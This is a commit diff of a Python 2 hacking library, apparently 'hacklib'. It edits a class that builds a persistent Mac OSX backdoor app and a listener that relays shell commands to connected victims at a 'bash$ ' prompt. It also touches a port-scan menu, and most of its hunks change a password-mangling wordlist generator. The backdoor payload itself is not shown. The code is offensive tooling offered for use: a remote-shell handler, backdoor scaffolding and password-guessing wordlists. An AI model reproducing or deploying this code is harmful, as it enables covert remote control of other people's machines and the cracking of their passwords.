19
19
OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'''
20
20
21
21
import socket , httplib , threading , time , urllib2 , os
22
- import logging
23
22
from Queue import Queue
24
- logging .getLogger ("scapy.runtime" ).setLevel (logging .ERROR ) # Fixes scapy logging error
25
- try : from scapy .all import *
26
- except : raise MissingPackageException ('Please install scapy to continue.' )
23
+ try : # Import scapy if they have it. If they don't, they can still use hacklib
24
+ from scapy .all import *
25
+ import logging
26
+ logging .getLogger ("scapy.runtime" ).setLevel (logging .ERROR ) # Fixes scapy logging error
27
+ except : pass
27
28
from string import ascii_uppercase , ascii_lowercase , digits # Import for PatternCreate and PatternOffset
28
29
29
30
class Backdoor (object ):
30
- '''Creates a persistent backdoor payload. Currently only for Mac OSX.
31
+ '''Creates an app carrying a persistent backdoor payload. Currently only for Mac OSX.
31
32
Payloads for Windows and Linux coming soon.'''
32
33
33
34
def __init__ (self ):
@@ -81,7 +82,7 @@ class Server(object):
81
82
def __init__ (self , port ):
82
83
import socket
83
84
self .port = port
84
- self .address = (socket . gethostname () , port )
85
+ self .address = ('' , port )
85
86
86
87
def listen (self ):
87
88
import time
@@ -92,12 +93,11 @@ def listen(self):
92
93
connection , cAddress = sock .accept ()
93
94
try :
94
95
print 'New connection' , cAddress
95
- connection .sendall ('whoami\n ' )
96
96
while True :
97
97
data = connection .recv (32768 )
98
98
if data :
99
99
print '\n ' .join (data .split ('\n ' )[:- 1 ])
100
- response = raw_input (data . split ( ' \n ' )[ - 1 ] )
100
+ response = raw_input ('bash$ ' )
101
101
data = None
102
102
if response :
103
103
connection .sendall (response + '\n ' )
@@ -616,7 +616,7 @@ def uiPortScan(address):
616
616
if cmd == '2' :
617
617
s_port = raw_input ('Input starting port > ' )
618
618
e_port = raw_input ('Input end port >' )
619
- ps .scan (address , (s_port , e_port ))
619
+ ps .scan (address , (int ( s_port ), int ( e_port ) ))
620
620
print 'Port scan complete.'
621
621
622
622
def uiDOS (address ):
@@ -843,10 +843,10 @@ class Mangle:
843
843
844
844
def __init__ (self , text , num1 , num2 , year1 , year2 ):
845
845
846
- self .num1 = num1
847
- self .num2 = num2 + 1
848
- self .year1 = year1
849
- self .year2 = year2 + 1
846
+ self .num1 = num1
847
+ self .num2 = num2
848
+ self .year1 = year1
849
+ self .year2 = year2
850
850
self .text = text
851
851
852
852
@@ -925,14 +925,14 @@ def CapandYears(self):
925
925
def Leet (self ):
926
926
927
927
for x in self .text .split ():
928
- print x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ). replace ( "s" , "$" ). replace ( "S" , "$" )
928
+ print x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" )
929
929
930
930
931
931
932
932
def LeetCap (self ):
933
933
934
934
for x in self .text .split ():
935
- print x .capitalize ().replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ). replace ( "s" , "$" ). replace ( "S" , "$" )
935
+ print x .capitalize ().replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" )
936
936
937
937
938
938
@@ -942,8 +942,8 @@ def LeetYears(self):
942
942
943
943
for i in range (self .year1 , self .year2 ):
944
944
945
- print ("%s" + "%s" ) % (x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ). replace ( "s" , "$" ). replace ( "S" , "$" ) , i )
946
- print ("%s" + "%s" ) % (i , x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ). replace ( "s" , "$" ). replace ( "S" , "$" ) )
945
+ print ("%s" + "%s" ) % (x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ), i )
946
+ print ("%s" + "%s" ) % (i , x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ))
947
947
948
948
949
949
def LeetNumbers (self ):
@@ -952,15 +952,15 @@ def LeetNumbers(self):
952
952
953
953
for i in range (self .num1 , self .num2 ):
954
954
955
- print ("%s" + "%s" ) % (x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ). replace ( "s" , "$" ). replace ( "S" , "$" ) , i )
956
- print ("%s" + "%s" ) % (i , x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ). replace ( "s" , "$" ). replace ( "S" , "$" ) )
955
+ print ("%s" + "%s" ) % (x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ), i )
956
+ print ("%s" + "%s" ) % (i , x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ))
957
957
958
958
959
959
def UniqueLeet (self ):
960
960
961
961
for x in self .text .split ():
962
962
963
- print ("%s" + "%s" ) % (x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ),(x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ). replace ( "s" , "$" ). replace ( "S" , "$" ) ))
963
+ print ("%s" + "%s" ) % (x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ),(x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" )))
964
964
965
965
966
966
@@ -1005,7 +1005,6 @@ def ReverseUnique(self):
1005
1005
1006
1006
print x [::- 1 ] + x [::- 1 ]
1007
1007
1008
-
1009
1008
'''
1010
1009
This Classes Dectects Probe Requests from Wireless Devices.
1011
1010
0 commit comments